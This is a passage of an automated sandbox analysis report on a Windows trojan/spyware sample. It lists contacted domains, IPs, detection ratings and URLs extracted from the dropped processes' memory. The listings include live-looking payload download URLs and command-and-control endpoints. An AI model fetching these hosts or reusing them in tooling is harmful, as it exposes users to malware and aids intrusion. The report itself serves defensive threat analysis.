https://peerhost59mj7i6macla65r.com/search/$pb	0%	Avira URL Cloud	safe
https://grahm.xyz/1	100%	Avira URL Cloud	malware
drive-connect.cyou	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique2/random.exeV$	0%	Avira URL Cloud	safe
https://peerhost59mj7i6macla65r.com/search/tL	0%	Avira URL Cloud	safe
https://peerhost59mj7i6macla65r.com/search/kL	0%	Avira URL Cloud	safe
http://31.41.244.11/files/fate/random.exe847d	0%	Avira URL Cloud	safe
https://grahm.xyz/3E	100%	Avira URL Cloud	malware
https://drive-connect.cyou/apiE#	100%	Avira URL Cloud	malware
https://grahm.xyz/;	100%	Avira URL Cloud	malware
http://31.41.244.11/files/5996006993/M5iFR20.exe	100%	Avira URL Cloud	phishing
https://grahm.xyz/=	100%	Avira URL Cloud	malware
https://drive-connect.cyou/apii	100%	Avira URL Cloud	malware
https://grahm.xyztosh;	0%	Avira URL Cloud	safe
https://drive-connect.cyou/apiv	100%	Avira URL Cloud	malware
https://grahm.xyz/c	100%	Avira URL Cloud	malware
https://drive-connect.cyou/	100%	Avira URL Cloud	malware
https://peerhost59mj7i6macla65r.com/search/ZL	0%	Avira URL Cloud	safe
https://peerhost59mj7i6macla65r.com/search/n64;	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
uiuyeseyiukqqkqa.xyz	162.249.67.152	true	true	unknown
cyqakwwoewksakei.xyz	162.249.67.152	true	true	unknown
yqgckwiqkcgeygak.xyz	162.249.67.152	true	true	unknown
yqaouccmkggsweqk.xyz	162.249.67.152	true	true	unknown
cyigqcqwogwqismi.xyz	162.249.67.152	true	true	unknown
owiquiwokycswmmw.xyz	162.249.67.152	true	true	unknown
ipv4only.arpa	192.0.0.170	true	false	high
uiuqygeuogieacgw.xyz	162.249.67.152	true	true	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
ausmoiqykiskemym.xyz	188.40.187.174	true	true	unknown
grahm.xyz	116.203.10.31	true	true	unknown
yqqeqcygyguuwwkk.xyz	162.249.67.152	true	true	unknown
star-mini.c10r.facebook.com	157.240.196.35	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
ggsquueekuimuask.xyz	162.249.67.152	true	true	unknown
koswyyuqiksguuke.xyz	162.249.67.152	true	true	unknown
dyna.wikimedia.org	185.15.58.224	true	false	high
ggqqcmcysoceqeik.xyz	162.249.67.152	true	true	unknown
dualstack.reddit.map.fastly.net	151.101.65.140	true	false	high
youtube-ui.l.google.com	172.217.19.174	true	false	high
qacmygkcsgcsysmm.xyz	162.249.67.152	true	true	unknown
ggkswqokuuisecci.xyz	162.249.67.152	true	true	unknown
wmeqmmsqaiaayumg.xyz	162.249.67.152	true	true	unknown
drive-connect.cyou	104.21.79.7	true	false	high
ggyyqmymikikcsew.xyz	162.249.67.152	true	true	unknown
example.org	93.184.215.14	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
peerhost59mj7i6macla65r.com	94.154.172.218	true	true	unknown
fightlsoser.click	172.67.213.48	true	false	high
msuqawwecqeaciwy.xyz	162.249.67.152	true	true	unknown
contile.services.mozilla.com	34.117.188.166	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
qamcsicuaqsaaqyw.xyz	162.249.67.152	true	true	unknown
owswomyokkgkyayg.xyz	162.249.67.152	true	true	unknown
push.services.mozilla.com	34.107.243.93	true	false	high
uiqyyqqcscaiaska.xyz	162.249.67.152	true	true	unknown
wmyekoqqyyqyoqgu.xyz	162.249.67.152	true	true	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
twitter.com	104.244.42.193	true	false	high
t.me	149.154.167.99	true	false	high
uiggiccuoaayaqec.xyz	162.249.67.152	true	true	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
youtube.com	142.250.181.110	true	false	high
wmwukkaseiecomsm.xyz	162.249.67.152	true	true	unknown
aukuqiksseyscgie.xyz	185.200.191.124	true	true	unknown
ggqmywegmoqyygiy.xyz	162.249.67.152	true	true	unknown
ecyuqucgyqyqeiqg.xyz	162.249.67.152	true	true	unknown
wmykwaogosecqomu.xyz	162.249.67.152	true	true	unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
spocs.getpocket.com	unknown	unknown	false	high
ikecgokgwsysscqe.xyz	unknown	unknown	true	unknown
firefox.settings.services.mozilla.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
koaywyekuqqeyyww.xyz	unknown	unknown	true	unknown
detectportal.firefox.com	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
www.reddit.com	unknown	unknown	false	high
ikswccmqsqeswegi.xyz	unknown	unknown	true	unknown
auegquiusggyykii.xyz	unknown	unknown	true	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
ggeguiacmksquiwq.xyz	unknown	unknown	true	unknown
www.facebook.com	unknown	unknown	false	high
seaamokeuaweaima.xyz	unknown	unknown	true	unknown
ecucwceswgqiscai.xyz	unknown	unknown	true	unknown
www.wikipedia.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dare-curbys.biz	false		high
https://peerhost59mj7i6macla65r.com/search/	true	Avira URL Cloud: safe	unknown
https://drive-connect.cyou/api	true	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php	false		high
formy-spill.biz	false		high
print-vexer.biz	false		high
impend-differ.biz	false		high
dwell-exclaim.biz	false		high
https://grahm.xyz/	true	Avira URL Cloud: malware	unknown
zinc-sneark.biz	false		high
se-blurry.biz	false		high
drive-connect.cyou	true	Avira URL Cloud: malware	unknown
covery-mover.biz	false		high
https://t.me/detct0r	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe(5	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	false		high
https://peerhost59mj7i6macla65r.com/search/-	curl.exe, 0000002E.00000002.3071209983.00000000031C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://peerhost59mj7i6macla65r.com/search/6	curl.exe, 0000002E.00000002.3071209983.00000000031C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/fate/random.exe	skotes.exe, 00000006.00000002.3113926854.0000000000C60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://31.41.244.11/files/399764519/W4KLQf7.exef%	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/encoxx/random.exe=	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://peerhost59mj7i6macla65r.com/search/H	curl.exe, 0000001B.00000002.2615974320.0000000002AD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://peerhost59mj7i6macla65r.com/search/I044	curl.exe, 0000002E.00000002.3071209983.00000000031C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://peerhost59mj7i6macla65r.com/search/M	curl.exe, 00000029.00000002.3024407001.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://peerhost59mj7i6macla65r.com/search/O	curl.exe, 00000017.00000002.2580561995.000000000342A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grahm.xyz	5799e5ec40.exe, 00000026.00000003.2913893693.00000000007D1000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.2966058870.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://peerhost59mj7i6macla65r.com/search/N	curl.exe, 0000001B.00000002.2615974320.0000000002AD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://peerhost59mj7i6macla65r.com/search/S	curl.exe, 00000010.00000002.2518679130.0000000000597000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exe/0	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://peerhost59mj7i6macla65r.com/search/Z	curl.exe, 00000013.00000002.2546759065.0000000002C38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/well/random.exe	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://peerhost59mj7i6macla65r.com/search/h	curl.exe, 0000002E.00000002.3071209983.00000000031C8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/steam/random.exe8.exel	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://peerhost59mj7i6macla65r.com/search/&&	curl.exe, 0000001B.00000002.2615974320.0000000002AD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://peerhost59mj7i6macla65r.com/search/s	curl.exe, 00000010.00000002.2518679130.0000000000597000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://peerhost59mj7i6macla65r.com/search/t	curl.exe, 00000010.00000002.2518679130.0000000000597000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://peerhost59mj7i6macla65r.com/search/v	curl.exe, 0000001B.00000002.2615974320.0000000002AD9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://peerhost59mj7i6macla65r.com/search/y	M5iFR20.exe, 0000001E.00000002.3074070765.0000000001718000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	6f79b29ee1.exe, 00000027.00000003.3014424827.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.3014280407.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.3014086036.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2960938667.0000000003A10000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2961216614.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe06001	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-connect.cyou/Jg	6f79b29ee1.exe, 00000027.00000002.3073164628.0000000001421000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://t.me/detct0rd0wntgMozilla/5.0	5799e5ec40.exe, 00000026.00000002.3077684213.0000000000A20000.00000040.00001000.00020000.00000000.sdmp	false		high
https://grahm.xyz/?E	5799e5ec40.exe, 00000026.00000003.2913893693.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.microsof	6f79b29ee1.exe, 00000027.00000003.2960938667.0000000003A10000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199807592927d0wntgMozilla/5.0	5799e5ec40.exe, 00000026.00000002.3077684213.0000000000A20000.00000040.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeI5b	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/encoxx/random.exe	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	6f79b29ee1.exe, 00000027.00000003.2961216614.00000000039E4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199807592927	5799e5ec40.exe, 00000026.00000002.3070871988.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, 5799e5ec40.exe, 00000026.00000003.2828288514.0000000000A60000.00000004.00001000.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000002.3077684213.0000000000A20000.00000040.00001000.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique2/random.exe	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/hell911/random.exe	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ocsp.sectigo.com0	W4KLQf7.exe.6.dr	false		high
https://web.telegram.org	5799e5ec40.exe, 00000026.00000003.2872533838.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000002.3077080016.00000000007A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/399764519/W4KLQf7.exe0%	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	6f79b29ee1.exe, 00000027.00000003.3014424827.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.3014280407.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.3014086036.0000000003A09000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2960938667.0000000003A10000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2961216614.0000000003A09000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/C	5799e5ec40.exe, 00000026.00000002.3077080016.000000000078C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exes	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exeu	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://grahm.xyz/(	5799e5ec40.exe, 00000026.00000003.2966058870.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exe;N	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exe135dH	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exe#0	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://peerhost59mj7i6macla65r.com/search/$pb	curl.exe, 00000013.00000002.2546759065.0000000002C38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-connect.cyou:443/api	6f79b29ee1.exe, 00000027.00000002.3073164628.0000000001414000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://peerhost59mj7i6macla65r.com/search/5C417070446174615C4C6F63616C5C54656D705C31303134303831303	M5iFR20.exe, 0000000A.00000003.2922045316.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, M5iFR20.exe, 0000000A.00000003.2487881728.00000000011D6000.00000004.00000020.00020000.00000000.sdmp, M5iFR20.exe, 0000000A.00000003.2581657604.000000000128A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grahm.xyz/1	5799e5ec40.exe, 00000026.00000003.3000853652.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	6f79b29ee1.exe, 00000027.00000003.2961216614.00000000039E4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grahm.xyz?E	5799e5ec40.exe, 00000026.00000002.3077080016.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.3045425710.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.3000853652.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.2966058870.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://t.me/l	5799e5ec40.exe, 00000026.00000002.3077080016.000000000078C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	false		high
http://31.41.244.11/files/unique2/random.exeV$	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://peerhost59mj7i6macla65r.com/search/kL	curl.exe, 00000029.00000002.3013621764.0000000000698000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/5996006993/M5iFR20.exe	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://31.41.244.11/files/fate/random.exe847d	skotes.exe, 00000006.00000002.3113926854.0000000000C60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/steam/random.exe	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	false		high
https://peerhost59mj7i6macla65r.com/search/tL	curl.exe, 00000029.00000002.3013621764.0000000000698000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grahm.xyz/;	5799e5ec40.exe, 00000026.00000003.2966058870.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grahm.xyz/3E	5799e5ec40.exe, 00000026.00000002.3077080016.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.2913893693.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.3045425710.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.3000853652.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.2966058870.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-connect.cyou/apiE#	6f79b29ee1.exe, 00000027.00000003.3014181860.00000000039C2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grahm.xyz/=	5799e5ec40.exe, 00000026.00000003.2913893693.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://t.me/detct0rC	5799e5ec40.exe, 00000026.00000002.3077080016.00000000007A1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	skotes.exe, 00000006.00000002.3113926854.0000000000C8A000.00000004.00000020.00020000.00000000.sdmp, W4KLQf7[1].exe.6.dr, W4KLQf7.exe.6.dr	false		high
https://drive-connect.cyou/apii	6f79b29ee1.exe, 00000027.00000003.3014181860.00000000039C2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://peerhost59mj7i6macla65r.com/search/n64;	curl.exe, 00000013.00000002.2546759065.0000000002C38000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000029.00000002.3013621764.0000000000698000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grahm.xyztosh;	5799e5ec40.exe, 00000026.00000002.3070871988.0000000000489000.00000040.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-connect.cyou/	6f79b29ee1.exe, 00000027.00000002.3073164628.00000000013FC000.00000004.00000020.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.3014424827.00000000039C2000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000002.3073164628.00000000013EC000.00000004.00000020.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000002.3073164628.0000000001421000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grahm.xyz/c	5799e5ec40.exe, 00000026.00000002.3077080016.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.2913893693.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.3045425710.00000000007D8000.00000004.00000020.00020000.00000000.sdmp, 5799e5ec40.exe, 00000026.00000003.2966058870.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	6f79b29ee1.exe, 00000027.00000003.2959323416.00000000039FD000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959560740.00000000039FA000.00000004.00000800.00020000.00000000.sdmp, 6f79b29ee1.exe, 00000027.00000003.2959959277.00000000039FA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://peerhost59mj7i6macla65r.com/search/ZL	curl.exe, 00000029.00000002.3013621764.0000000000698000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-connect.cyou/apiv	c7017f8470.exe, 00000009.00000003.2490926103.0000000000F17000.00000004.00000020.00020000.00000000.sdmp, c7017f8470.exe, 00000009.00000002.2491677377.0000000000F18000.00000004.00000020.00020000.00000000.sdmp, c7017f8470.exe, 00000009.00000003.2490527422.0000000000F14000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
94.154.172.218	peerhost59mj7i6macla65r.com	Germany	10753	LVLT-10753US	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
116.203.10.31	grahm.xyz	Germany	24940	HETZNER-ASDE	true
104.21.79.7	drive-connect.cyou	United States	13335	CLOUDFLARENETUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573703
Start date and time:	2024-12-12 14:24:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	48
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	yiDQb6GkBq.exe renamed because original name is a hash value
Original Sample Name:	23a363810e5d66c620d5069ab26eb4625e899cbb2bf4d49978e1582ae100d5eb.exe
Detection:	MAL
Classification:	mal100.spre.troj.adwa.spyw.evad.winEXE@69/22@113/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 44.228.225.150, 54.213.181.160, 35.85.93.176, 23.218.208.109, 4.175.87.197, 13.107.246.63
Excluded domains from analysis (whitelisted): shavar.prod.mozaws.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, location.services.mozilla.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: yiDQb6GkBq.exe

Simulations

Behavior and APIs

Time	Type	Description
08:26:01	API Interceptor	2054x Sleep call for process: skotes.exe modified
